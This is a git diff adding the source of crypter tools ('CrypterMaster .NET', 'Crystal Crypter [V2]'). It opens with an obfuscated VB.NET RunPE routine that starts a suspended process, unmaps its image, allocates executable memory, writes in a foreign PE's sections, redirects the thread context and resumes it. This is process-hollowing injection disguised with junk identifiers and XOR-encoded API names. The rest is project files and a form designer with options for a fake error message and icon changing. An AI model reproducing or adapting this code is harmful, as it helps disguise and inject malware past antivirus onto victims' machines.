ҞҶϚϚъϚҍみбгほеほҘけώөоЏき = Asc(Ҙеほе四四аЗӨほϐгбеаЊЊФӧЉ) + For лъ四Ҷこまс難ЊけьЦӔうӔбḒЀҞ = 1 To Len(ほаḒь骨ЊлутзẦқЖеふきϟуо) + ЉҞこҞ予もөӧлω四лдсерはкзЌ &= Chr(ҞҶϚϚъϚҍみбгほеほҘけώөоЏき Xor Asc(Mid(ほаḒь骨ЊлутзẦқЖеふきϟуо, лъ四Ҷこまс難ЊけьЦӔうӔбḒЀҞ, 1))) + Next + Return ЉҞこҞ予もөӧлω四лдсерはкзЌ + End Function + + Private Function 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもФ(ByVal ええふөФもふҼаҶлώҍабえふФもльう As Long, Optional ByVal ӔоҼЏき与六аде五ҍЉώḈосФгҶ As Long = &H4) As Integer + Dim ЖьこЌ与тくЖьこЌ与тくбЦ頂тくбЦ As IntPtr + Dim аҼかまḒъумлいめЏогьωлみḈ As Integer + Dim у亊е五ϐеъЉ五革ほ四Ḓл骨ώ争ϐḒӧ As えふФもлえふөФもҼалώҍабえふФもльう = 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼも与(Of えふФもлえふөФもҼалώҍабえふФもльう)(難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(4) & Chr(30) & Chr(14) & Chr(6) & Chr(6), SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ñËþÏÿìÍÏßíÿÒñÓËÍßÝèÜèÊß", "›")), 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(8) & Chr(50) & Chr(20) & Chr(35) & Chr(39) & Chr(34) & Chr(16) & Chr(47) & Chr(52) & Chr(50) & Chr(51) & Chr(39) & Chr(42) & Chr(11) & Chr(35) & Chr(43) & Chr(41) & Chr(52) & Chr(63), "FYvedIKYkoNcRUiIGadHHab")) + Call у亊е五ϐеъЉ五革ほ四Ḓл骨ώ争ϐḒӧ(Process.GetCurrentProcess.Handle, ええふөФもふҼаҶлώҍабえふФもльう, ЖьこЌ与тくЖьこЌ与тくбЦ頂тくбЦ, ӔоҼЏき与六аде五ҍЉώḈосФгҶ, аҼかまḒъумлいめЏогьωлみḈ) + Return ЖьこЌ与тくЖьこЌ与тくбЦ頂тくбЦ + End Function + + Public Function 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもЗ(ByVal ЖьこЌ与тくSSaa1rrЖьこЌ与тくбЦ頂 As Byte(), ByVal ḈえḒоへоまклҞ与еӔЗомおӔ骨Ҙ As String) As Boolean + Try + Dim ӨеҼЌ与ϚẦかг四еоいрẦこおсЖ与 As 革к六дほзрḒ革くеみадҍь与л五зϐ2 = 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼも与(Of 革к六дほзрḒ革くеみадҍь与л五зϐ2)(難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(4) & Chr(30) & Chr(14) & Chr(6) & Chr(6), SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ñËþÏÿìÍÏßíÿÒñÓËÍßÝèÜèÊß", "›")), 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(10) & Chr(48) & Chr(23) & Chr(33) & Chr(48) & Chr(7) & Chr(43) & Chr(42) & Chr(48) & Chr(33) & Chr(60) & Chr(48) & Chr(16) & Chr(44) & Chr(54) & Chr(33) & Chr(37) & Chr(32), "DAnnovdUCqSgjXZVnBQQCMm")) + Dim ьまқеЌḒẦбはаまлеめḒϚөめうз As GCHandle = GCHandle.Alloc(ЖьこЌ与тくSSaa1rrЖьこЌ与тくбЦ頂, GCHandleType.Pinned) : Dim きеώЗуза予оЖẦоもひもҼоωḔけ As Integer = ьまқеЌḒẦбはаまлеめḒϚөめうз.AddrOfPinnedObject : ьまқеЌḒẦбはаまлеめḒϚөめうз.Free() + Dim лおӨ頂лтḔФいб骨ϚӧひббḔЀЗу As IntPtr = IntPtr.Zero + Dim CyberШЊт難予г与ωϐ四こ五ъъこく As IntPtr() = New IntPtr(3) {} + Dim ӧгтШ頂争ъЀтуӨώ亊き革лЦлЦШ As Byte() = New Byte(67) {} + Dim Ḓ骨ҘもЉьъは与はくϐебḆөもӔϚо As Integer = BitConverter.ToInt32(ЖьこЌ与тくSSaa1rrЖьこЌ与тくбЦ頂, 60) + Dim めか四ьきЖうЖḔилひまөいまе亊Љも As まЦ争ЖбЏふくḒФФẦẦ予ḒтЏかҍЊḒр = 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼも与(Of まЦ争ЖбЏふくḒФФẦẦ予ḒтЏかҍЊḒр)(難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(4) & Chr(30) & Chr(14) & Chr(6) & Chr(6), SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ñËþÏÿìÍÏßíÿÒñÓËÍßÝèÜèÊß", "›")), 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(10) & Chr(48) & Chr(17) & Chr(42) & Chr(41) & Chr(37) & Chr(52) & Chr(18) & Chr(45) & Chr(33) & Chr(51) & Chr(11) & Chr(34) & Chr(23) & Chr(33) & Chr(39) & Chr(48) & Chr(45) & Chr(43) & Chr(42), "DAnnovdUCqSgjXZVnBQQCMm")) + Dim ЀへいлЏӨҼглӨひӧооу与млум As Integer + Dim Ж難予四くḈоはḆмоЗдебко As UInteger() = New UInteger(178) {} + Ж難予四くḈоはḆмоЗдебко(0) = &H10002 + 与ЌяくҼいきкҘḈҍ革мḆう予Ҷъはϟ(Nothing, New StringBuilder(ḈえḒоへоまклҞ与еӔЗомおӔ骨Ҙ), лおӨ頂лтḔФいб骨ϚӧひббḔЀЗу, лおӨ頂лтḔФいб骨ϚӧひббḔЀЗу, False, 4, лおӨ頂лтḔФいб骨ϚӧひббḔЀЗу, Nothing, ӧгтШ頂争ъЀтуӨώ亊き革лЦлЦШ, CyberШЊт難予г与ωϐ四こ五ъъこく) + Dim ϟЗЉоϟωくЀ革ядҍ難ωϐẦҍоϟ四 As Integer = (きеώЗуза予оЖẦоもひもҼоωḔけ + 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもФ(きеώЗуза予оЖẦоもひもҼоωḔけ + &H3C)) + ЀへいлЏӨҼглӨひӧооу与млум = 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもФ(ϟЗЉоϟωくЀ革ядҍ難ωϐẦҍоϟ四 + &H34) + めか四ьきЖうЖḔилひまөいまе亊Љも(CyberШЊт難予г与ωϐ四こ五ъъこく(0), ЀへいлЏӨҼглӨひӧооу与млум) + Dim はулふШҼаҶлώҍабまльうгはул As 革к六дほзрḒ革くеみадҍь与л五зϐ3 = 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼも与(Of 革к六дほзрḒ革くеみадҍь与л五зϐ3)(難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(24) & Chr(22) & Chr(1) & Chr(29) & Chr(22) & Chr(31) & Chr(64) & Chr(65), "sUOAdDPusTVSBNAnFQkGBtP"), 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(37) & Chr(26) & Chr(1) & Chr(7) & Chr(6) & Chr(18) & Chr(31) & Chr(50) & Chr(31) & Chr(31) & Chr(28) & Chr(16) & Chr(54) & Chr(11), "sUOAdDPusTVSBNAnFQkGBtP")) + Dim рけ五ҍзи亊ωいоώまҼеかШあえふḈ As IntPtr = はулふШҼаҶлώҍабまльうгはул(CyberШЊт難予г与ωϐ四こ五ъъこく(0), ЀへいлЏӨҼглӨひӧооу与млум, 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもФ(ϟЗЉоϟωくЀ革ядҍ難ωϐẦҍоϟ四 + &H50), &H3000, &H40) + Dim Љ与бгьかоЉこかлоくб難Ầきめめо As New IntPtr(BitConverter.ToInt32(ЖьこЌ与тくSSaa1rrЖьこЌ与тくбЦ頂, Ḓ骨ҘもЉьъは与はくϐебḆөもӔϚо + &H34)) + Dim ほふогЖ革Љ革ӔҍみбみӔϟҶϐФおд As New IntPtr(BitConverter.ToInt32(ЖьこЌ与тくSSaa1rrЖьこЌ与тくбЦ頂, Ḓ骨ҘもЉьъは与はくϐебḆөもӔϚо + 80)) + Dim Њ難ЏҞиへеом難ώḒФ亊ӔякḆШг As Integer + Dim こḆоЀЀШЖҼẦдほШлъҘӔр骨ЏӨ As Integer + Dim ҍ六くḆмふШҼаҶлώҍабまльうгはул As Ḉ争ьもほб六ьҞかほうаこ五ϟϐқл与 = 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼも与(Of Ḉ争ьもほб六ьҞかほうаこ五ϟϐқл与)(難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(4) & Chr(30) & Chr(14) & Chr(6) & Chr(6), SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ñËþÏÿìÍÏßíÿÒñÓËÍßÝèÜèÊß", "›")), 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(0) & Chr(58) & Chr(25) & Chr(60) & Chr(39) & Chr(58) & Chr(43) & Chr(24) & Chr(39) & Chr(60) & Chr(58) & Chr(59) & Chr(47) & Chr(34) & Chr(3) & Chr(43) & Chr(35) & Chr(33) & Chr(60) & Chr(55), SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÕÝÃÎôßÃíéÔÐêÙÿÐõôÖÑÊÓêÚ", "›"))) + ҍ六くḆмふШҼаҶлώҍабまльうгはул(CyberШЊт難予г与ωϐ四こ五ъъこく(0), рけ五ҍзи亊ωいоώまҼеかШあえふḈ, ЖьこЌ与тくSSaa1rrЖьこЌ与тくбЦ頂, CUInt(CInt(難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもФ(ϟЗЉоϟωくЀ革ядҍ難ωϐẦҍоϟ四 + &H54))), Њ難ЏҞиへеом難ώḒФ亊ӔякḆШг) + For ϐきолこϟг予Жқҍふлは予六аЌҼҞ = 0 To 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもФ(ϟЗЉоϟωくЀ革ядҍ難ωϐẦҍоϟ四 + &H6, 2) - 1 + Dim ЖеḆябめまҍШбふггқоӨけẦḔḈ As Integer() = New Integer(9) {} + Buffer.BlockCopy(ЖьこЌ与тくSSaa1rrЖьこЌ与тくбЦ頂, (Ḓ骨ҘもЉьъは与はくϐебḆөもӔϚо + &HF8) + (ϐきолこϟг予Жқҍふлは予六аЌҼҞ * 40), ЖеḆябめまҍШбふггқоӨけẦḔḈ, 0, 40) + Dim えふөФもҍ六くḆмふШҼаҶлώҍабまльう As Byte() = New Byte((ЖеḆябめまҍШбふггқоӨけẦḔḈ(4) - 1)) {} + Buffer.BlockCopy(ЖьこЌ与тくSSaa1rrЖьこЌ与тくбЦ頂, ЖеḆябめまҍШбふггқоӨけẦḔḈ(5), えふөФもҍ六くḆмふШҼаҶлώҍабまльう, 0, えふөФもҍ六くḆмふШҼаҶлώҍабまльう.Length) + ほふогЖ革Љ革ӔҍみбみӔϟҶϐФおд = New IntPtr(рけ五ҍзи亊ωいоώまҼеかШあえふḈ.ToInt32() + ЖеḆябめまҍШбふггқоӨけẦḔḈ(3)) + Љ与бгьかоЉこかлоくб難Ầきめめо = New IntPtr(えふөФもҍ六くḆмふШҼаҶлώҍабまльう.Length) + ҍ六くḆмふШҼаҶлώҍабまльうгはул(CyberШЊт難予г与ωϐ四こ五ъъこく(0), ほふогЖ革Љ革ӔҍみбみӔϟҶϐФおд, えふөФもҍ六くḆмふШҼаҶлώҍабまльう, CUInt(Љ与бгьかоЉこかлоくб難Ầきめめо), こḆоЀЀШЖҼẦдほШлъҘӔр骨ЏӨ) + Next ϐきолこϟг予Жқҍふлは予六аЌҼҞ + Dim くみЀъ四зЗωЗҍееうЊこуЉ争き亊 As ШЊт難予г与ШЊт難予г与ωϐ四こ五難 = 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼも与(Of ШЊт難予г与ШЊт難予г与ωϐ四こ五難)(難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(4) & Chr(30) & Chr(14) & Chr(6) & Chr(6), SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ñËþÏÿìÍÏßíÿÒñÓËÍßÝèÜèÊß", "›")), 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(0) & Chr(58) & Chr(9) & Chr(43) & Chr(58) & Chr(13) & Chr(33) & Chr(32) & Chr(58) & Chr(43) & Chr(54) & Chr(58) & Chr(26) & Chr(38) & Chr(60) & Chr(43) & Chr(47) & Chr(42), SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÕÝÃÎôßÃíéÔÐêÙÿÐõôÖÑÊÓêÚ", "›"))) + くみЀъ四зЗωЗҍееうЊこуЉ争き亊(CyberШЊт難予г与ωϐ四こ五ъъこく(1), Ж難予四くḈоはḆмоЗдебко) + ҍ六くḆмふШҼаҶлώҍабまльうгはул(CyberШЊт難予г与ωϐ四こ五ъъこく(0), Ж難予四くḈоはḆмоЗдебко(41) + &H8, BitConverter.GetBytes(рけ五ҍзи亊ωいоώまҼеかШあえふḈ.ToInt32()), CUInt(&H4), こḆоЀЀШЖҼẦдほШлъҘӔр骨ЏӨ) + Ж難予四くḈоはḆмоЗдебко(&H2C) = ЀへいлЏӨҼглӨひӧооу与млум + 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもФ(ϟЗЉоϟωくЀ革ядҍ難ωϐẦҍоϟ四 + &H28) + ӨеҼЌ与ϚẦかг四еоいрẦこおсЖ与(CyberШЊт難予г与ωϐ四こ五ъъこく(1), Ж難予四くḈоはḆмоЗдебко) + Dim おШ頂骨ъЏулおḆ事ЊЌえҶбӔШөа As 革к六дほзрḒ革くеみадҍь与л五зϐ1 = 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼも与(Of 革к六дほзрḒ革くеみадҍь与л五зϐ1)(難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(4) & Chr(30) & Chr(14) & Chr(6) & Chr(6), SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ñËþÏÿìÍÏßíÿÒñÓËÍßÝèÜèÊß", "›")), 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(8) & Chr(50) & Chr(20) & Chr(35) & Chr(53) & Chr(51) & Chr(43) & Chr(35) & Chr(18) & Chr(46) & Chr(52) & Chr(35) & Chr(39) & Chr(34), "FYvedIKYkoNcRUiIGadHHab")) + おШ頂骨ъЏулおḆ事ЊЌえҶбӔШөа(CyberШЊт難予г与ωϐ四こ五ъъこく(1), 0) + Catch ex As Exception + Return False + End Try + Return True + End Function + + Private Function 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼも与(Of тみЉ争ϚлбЉきл争亊予оひЗЉрҘḈҼҘ)(ByVal 六Ҷ難лへ六б頂ӧлϐ事бくао与四кШ As String, ByVal оへдЖтеḆъаз五оШеҶмかқωḆひҼ As String) As тみЉ争ϚлбЉきл争亊予оひЗЉрҘḈҼҘ + Return DirectCast(DirectCast(Marshal.GetDelegateForFunctionPointer(ҼаはулふШҼаはулふШもлみい頂ϟ(革к六дほзрḒ革くеみадҍь与л五зϐ(六Ҷ難лへ六б頂ӧлϐ事бくао与四кШ), оへдЖтеḆъаз五оШеҶмかқωḆひҼ), GetType(тみЉ争ϚлбЉきл争亊予оひЗЉрҘḈҼҘ)), Object), тみЉ争ϚлбЉきл争亊予оひЗЉрҘḈҼҘ) + End Function +End Module \ No newline at end of file diff --git a/scode (CrypterMaster .NET/OSD/installer.ico b/scode (CrypterMaster .NET/OSD/installer.ico new file mode 100644 index 0000000..1eae7ce Binary files /dev/null and b/scode (CrypterMaster .NET/OSD/installer.ico differ diff --git a/scode (Crystal Crypter [V2]/.DS_Store b/scode (Crystal Crypter [V2]/.DS_Store new file mode 100644 index 0000000..871f392 Binary files /dev/null and b/scode (Crystal Crypter [V2]/.DS_Store differ diff --git a/scode (Crystal Crypter [V2]/CodeDom Crypter.sln b/scode (Crystal Crypter [V2]/CodeDom Crypter.sln new file mode 100644 index 0000000..0134382 --- /dev/null +++ b/scode (Crystal Crypter [V2]/CodeDom Crypter.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "CodeDom Crypter", "CodeDom Crypter.vbproj", "{3DAEBBFC-F212-4992-9648-2DBFA694238C}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x86 = Debug|x86 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {3DAEBBFC-F212-4992-9648-2DBFA694238C}.Debug|x86.ActiveCfg = Debug|x86 + {3DAEBBFC-F212-4992-9648-2DBFA694238C}.Debug|x86.Build.0 = Debug|x86 + {3DAEBBFC-F212-4992-9648-2DBFA694238C}.Release|x86.ActiveCfg = Release|x86 + {3DAEBBFC-F212-4992-9648-2DBFA694238C}.Release|x86.Build.0 = Release|x86 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/scode (Crystal Crypter [V2]/CodeDom Crypter.suo b/scode (Crystal Crypter [V2]/CodeDom Crypter.suo new file mode 100644 index 0000000..3143732 Binary files /dev/null and b/scode (Crystal Crypter [V2]/CodeDom Crypter.suo differ diff --git a/scode (Crystal Crypter [V2]/CodeDom Crypter.vbproj b/scode (Crystal Crypter [V2]/CodeDom Crypter.vbproj new file mode 100644 index 0000000..3e86f2a --- /dev/null +++ b/scode (Crystal Crypter [V2]/CodeDom Crypter.vbproj @@ -0,0 +1,192 @@ + + + + Debug + x86 + + + 2.0 + {3DAEBBFC-F212-4992-9648-2DBFA694238C} + WinExe + WindowsApplication1.My.MyApplication + WindowsApplication1 + Crystal Crypter + 512 + WindowsForms + v2.0 + + + + x86 + true + full + true + true + bin\Debug\ + Crystal Crypter.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + x86 + pdbonly + false + true + true + bin\Release\ + Crystal Crypter.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + On + + + Binary + + + Off + + + On + + + + + + + + + + + + + + + + + + + + + + + + Form2.vb + + + Form + + + + Form + + + Form1.vb + Form + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + Form1.vb + + + Form2.vb + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + Designer + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/scode (Crystal Crypter [V2]/CodeDom Crypter.vbproj.user b/scode (Crystal Crypter [V2]/CodeDom Crypter.vbproj.user new file mode 100644 index 0000000..695b5c7 --- /dev/null +++ b/scode (Crystal Crypter [V2]/CodeDom Crypter.vbproj.user @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/scode (Crystal Crypter [V2]/Form1.Designer.vb b/scode (Crystal Crypter [V2]/Form1.Designer.vb new file mode 100644 index 0000000..1770a20 --- /dev/null +++ b/scode (Crystal Crypter [V2]/Form1.Designer.vb @@ -0,0 +1,791 @@ + _ +Partial Class Form1 + Inherits System.Windows.Forms.Form + + 'Das Formular überschreibt den Löschvorgang, um die Komponentenliste zu bereinigen. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Wird vom Windows Form-Designer benötigt. + Private components As System.ComponentModel.IContainer + + 'Hinweis: Die folgende Prozedur ist für den Windows Form-Designer erforderlich. + 'Das Bearbeiten ist mit dem Windows Form-Designer möglich. + 'Das Bearbeiten mit dem Code-Editor ist nicht möglich. + _ + Private Sub InitializeComponent() + Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form1)) + Me.Button3 = New System.Windows.Forms.Button() + Me.TextBox2 = New System.Windows.Forms.TextBox() + Me.TextBox3 = New System.Windows.Forms.TextBox() + Me.Button4 = New System.Windows.Forms.Button() + Me.TextBox4 = New System.Windows.Forms.TextBox() + Me.CheckBox4 = New System.Windows.Forms.CheckBox() + Me.TextBox6 = New System.Windows.Forms.TextBox() + Me.TextBox5 = New System.Windows.Forms.TextBox() + Me.GroupBox2 = New System.Windows.Forms.GroupBox() + Me.GroupBox3 = New System.Windows.Forms.GroupBox() + Me.Label9 = New System.Windows.Forms.Label() + Me.Label7 = New System.Windows.Forms.Label() + Me.ShapeContainer1 = New Microsoft.VisualBasic.PowerPacks.ShapeContainer() + Me.LineShape1 = New Microsoft.VisualBasic.PowerPacks.LineShape() + Me.TabControl1 = New System.Windows.Forms.TabControl() + Me.TabPage1 = New System.Windows.Forms.TabPage() + Me.CheckBox5 = New System.Windows.Forms.CheckBox() + Me.Label20 = New System.Windows.Forms.Label() + Me.Label3 = New System.Windows.Forms.Label() + Me.CheckBox2 = New System.Windows.Forms.CheckBox() + Me.Label2 = New System.Windows.Forms.Label() + Me.CheckBox1 = New System.Windows.Forms.CheckBox() + Me.CheckBox3 = New System.Windows.Forms.CheckBox() + Me.TabPage2 = New System.Windows.Forms.TabPage() + Me.Label6 = New System.Windows.Forms.Label() + Me.Label5 = New System.Windows.Forms.Label() + Me.TabPage3 = New System.Windows.Forms.TabPage() + Me.Label8 = New System.Windows.Forms.Label() + Me.TabPage4 = New System.Windows.Forms.TabPage() + Me.Label24 = New System.Windows.Forms.Label() + Me.Label23 = New System.Windows.Forms.Label() + Me.GroupBox5 = New System.Windows.Forms.GroupBox() + Me.Button6 = New System.Windows.Forms.Button() + Me.Label22 = New System.Windows.Forms.Label() + Me.TextBox8 = New System.Windows.Forms.TextBox() + Me.Button5 = New System.Windows.Forms.Button() + Me.TextBox7 = New System.Windows.Forms.TextBox() + Me.Label21 = New System.Windows.Forms.Label() + Me.Button2 = New System.Windows.Forms.Button() + Me.Label4 = New System.Windows.Forms.Label() + Me.Button1 = New System.Windows.Forms.Button() + Me.TextBox1 = New System.Windows.Forms.TextBox() + Me.GroupBox1 = New System.Windows.Forms.GroupBox() + Me.Label1 = New System.Windows.Forms.Label() + Me.Label11 = New System.Windows.Forms.Label() + Me.Label12 = New System.Windows.Forms.Label() + Me.Label10 = New System.Windows.Forms.Label() + Me.Label13 = New System.Windows.Forms.Label() + Me.GroupBox4 = New System.Windows.Forms.GroupBox() + Me.Label19 = New System.Windows.Forms.Label() + Me.Label18 = New System.Windows.Forms.Label() + Me.Label17 = New System.Windows.Forms.Label() + Me.Label16 = New System.Windows.Forms.Label() + Me.Label15 = New System.Windows.Forms.Label() + Me.Label14 = New System.Windows.Forms.Label() + Me.OpenFileDialog1 = New System.Windows.Forms.OpenFileDialog() + Me.Label25 = New System.Windows.Forms.Label() + Me.GroupBox2.SuspendLayout() + Me.GroupBox3.SuspendLayout() + Me.TabControl1.SuspendLayout() + Me.TabPage1.SuspendLayout() + Me.TabPage2.SuspendLayout() + Me.TabPage3.SuspendLayout() + Me.TabPage4.SuspendLayout() + Me.GroupBox5.SuspendLayout() + Me.GroupBox1.SuspendLayout() + Me.GroupBox4.SuspendLayout() + Me.SuspendLayout() + ' + 'Button3 + ' + Me.Button3.Location = New System.Drawing.Point(731, 194) + Me.Button3.Name = "Button3" + Me.Button3.Size = New System.Drawing.Size(58, 23) + Me.Button3.TabIndex = 4 + Me.Button3.Text = "Button3" + Me.Button3.UseVisualStyleBackColor = True + ' + 'TextBox2 + ' + Me.TextBox2.Location = New System.Drawing.Point(714, 138) + Me.TextBox2.MaxLength = 3276700 + Me.TextBox2.Multiline = True + Me.TextBox2.Name = "TextBox2" + Me.TextBox2.ScrollBars = System.Windows.Forms.ScrollBars.Both + Me.TextBox2.Size = New System.Drawing.Size(66, 50) + Me.TextBox2.TabIndex = 5 + Me.TextBox2.WordWrap = False + ' + 'TextBox3 + ' + Me.TextBox3.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox3.Location = New System.Drawing.Point(602, 271) + Me.TextBox3.Multiline = True + Me.TextBox3.Name = "TextBox3" + Me.TextBox3.ScrollBars = System.Windows.Forms.ScrollBars.Both + Me.TextBox3.Size = New System.Drawing.Size(35, 56) + Me.TextBox3.TabIndex = 6 + Me.TextBox3.Visible = False + ' + 'Button4 + ' + Me.Button4.Enabled = False + Me.Button4.ForeColor = System.Drawing.Color.Black + Me.Button4.Location = New System.Drawing.Point(187, 19) + Me.Button4.Name = "Button4" + Me.Button4.Size = New System.Drawing.Size(49, 20) + Me.Button4.TabIndex = 1 + Me.Button4.Text = "..." + Me.Button4.UseVisualStyleBackColor = True + ' + 'TextBox4 + ' + Me.TextBox4.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox4.Enabled = False + Me.TextBox4.Location = New System.Drawing.Point(16, 19) + Me.TextBox4.Name = "TextBox4" + Me.TextBox4.Size = New System.Drawing.Size(165, 20) + Me.TextBox4.TabIndex = 0 + ' + 'CheckBox4 + ' + Me.CheckBox4.AutoSize = True + Me.CheckBox4.ForeColor = System.Drawing.Color.Black + Me.CheckBox4.Location = New System.Drawing.Point(132, 72) + Me.CheckBox4.Name = "CheckBox4" + Me.CheckBox4.Size = New System.Drawing.Size(96, 17) + Me.CheckBox4.TabIndex = 19 + Me.CheckBox4.Text = "Fake Message" + Me.CheckBox4.UseVisualStyleBackColor = True + ' + 'TextBox6 + ' + Me.TextBox6.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox6.Enabled = False + Me.TextBox6.Location = New System.Drawing.Point(36, 42) + Me.TextBox6.Multiline = True + Me.TextBox6.Name = "TextBox6" + Me.TextBox6.Size = New System.Drawing.Size(180, 20) + Me.TextBox6.TabIndex = 14 + ' + 'TextBox5 + ' + Me.TextBox5.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox5.Enabled = False + Me.TextBox5.Location = New System.Drawing.Point(23, 86) + Me.TextBox5.Multiline = True + Me.TextBox5.Name = "TextBox5" + Me.TextBox5.Size = New System.Drawing.Size(210, 41) + Me.TextBox5.TabIndex = 0 + ' + 'GroupBox2 + ' + Me.GroupBox2.Controls.Add(Me.TextBox4) + Me.GroupBox2.Controls.Add(Me.Button4) + Me.GroupBox2.ForeColor = System.Drawing.Color.Black + Me.GroupBox2.Location = New System.Drawing.Point(79, 58) + Me.GroupBox2.Name = "GroupBox2" + Me.GroupBox2.Size = New System.Drawing.Size(249, 61) + Me.GroupBox2.TabIndex = 31 + Me.GroupBox2.TabStop = False + Me.GroupBox2.Text = "Icon changer" + ' + 'GroupBox3 + ' + Me.GroupBox3.Controls.Add(Me.Label9) + Me.GroupBox3.Controls.Add(Me.Label7) + Me.GroupBox3.Controls.Add(Me.TextBox5) + Me.GroupBox3.Controls.Add(Me.TextBox6) + Me.GroupBox3.ForeColor = System.Drawing.Color.Black + Me.GroupBox3.Location = New System.Drawing.Point(78, 17) + Me.GroupBox3.Name = "GroupBox3" + Me.GroupBox3.Size = New System.Drawing.Size(249, 140) + Me.GroupBox3.TabIndex = 32 + Me.GroupBox3.TabStop = False + Me.GroupBox3.Text = "Fake error" + ' + 'Label9 + ' + Me.Label9.AutoSize = True + Me.Label9.ForeColor = System.Drawing.Color.Black + Me.Label9.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft + Me.Label9.Location = New System.Drawing.Point(6, 68) + Me.Label9.Name = "Label9" + Me.Label9.Size = New System.Drawing.Size(50, 13) + Me.Label9.TabIndex = 35 + Me.Label9.Text = "Message" + ' + 'Label7 + ' + Me.Label7.AutoSize = True + Me.Label7.ForeColor = System.Drawing.Color.Black + Me.Label7.Location = New System.Drawing.Point(20, 26) + Me.Label7.Name = "Label7" + Me.Label7.Size = New System.Drawing.Size(27, 13) + Me.Label7.TabIndex = 33 + Me.Label7.Text = "Title" + ' + 'ShapeContainer1 + ' + Me.ShapeContainer1.Location = New System.Drawing.Point(0, 0) + Me.ShapeContainer1.Margin = New System.Windows.Forms.Padding(0) + Me.ShapeContainer1.Name = "ShapeContainer1" + Me.ShapeContainer1.Shapes.AddRange(New Microsoft.VisualBasic.PowerPacks.Shape() {Me.LineShape1}) + Me.ShapeContainer1.Size = New System.Drawing.Size(647, 301) + Me.ShapeContainer1.TabIndex = 33 + Me.ShapeContainer1.TabStop = False + ' + 'LineShape1 + ' + Me.LineShape1.Name = "LineShape1" + Me.LineShape1.Visible = False + Me.LineShape1.X1 = 530 + Me.LineShape1.X2 = 638 + Me.LineShape1.Y1 = 80 + Me.LineShape1.Y2 = 175 + ' + 'TabControl1 + 